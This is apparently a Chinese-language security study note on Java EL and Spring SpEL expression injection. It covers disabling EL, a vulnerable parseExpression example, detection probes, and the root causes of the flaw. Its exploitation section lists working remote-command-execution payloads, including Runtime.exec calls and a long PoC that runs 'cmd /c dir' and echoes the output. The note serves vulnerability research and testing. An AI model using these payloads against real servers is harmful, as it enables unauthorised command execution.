参考文章:https://xz.aliyun.com/t/7692
EL表达式
EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。
个人理解只是JSP的另一种形式,功能和权限不会超过JSP.
语法直接看参考文章即可
JSP中启用/禁用EL表达式:
全局禁用: 在web.xml中配置 el-ignored=true
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
单个文件禁用
<%@ page isELIgnored="true" %>
该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。
EL表达式注入
漏洞成因
EL表达式注入产生的场景一般都是用户自己添加的标签实现存在漏洞.或者自己添加的函数存在漏洞?
只是我搜到的大概都是这样的额?
这里看两个例子:
- createValueExpression引起的.
参考 https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
jsp里引入了一个用户实现的obj, obj.bingo调用了createValueExpression => EL注入
- parseExpression参数可控导致的EL表达式注入漏洞
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
挖掘思路?
关注xxxExpression这样的方法, 然后找类似的类引用.
检测?
类似SSTI的测试, 见到参数回显到页面上就可以试试 如下的poc:
${99999+1}
#{7+7}
${{7*7}}
${{'abc'.toUpperCase()}}
${{'abc'.concat('def')}}
${{'a'.getClass()}}
${{ request }}
${{ session }}
${pageContext}
利用
- 命令执行 ```java ${Runtime.getRuntime().exec(“calc.exe”)} ${“”.getClass().forName(“java.lang.Runtime”).getMethods()[6].invoke(“”.getClass().forName(“java.lang.Runtime”)).exec(“calc.exe”)}
${pageContext.setAttribute(“a”,””.getClass().forName(“java.lang.Runtime”).getMethod(“exec”,””.getClass()).invoke(“”.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null),”calc.exe”))}
${‘’.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“JavaScript”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”)}
> payload均未测试.
2. 普通EL表达式命令回显的简单研究 [https://forum.butian.net/share/886](https://forum.butian.net/share/886)
贴一个最终的POC:
```java
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}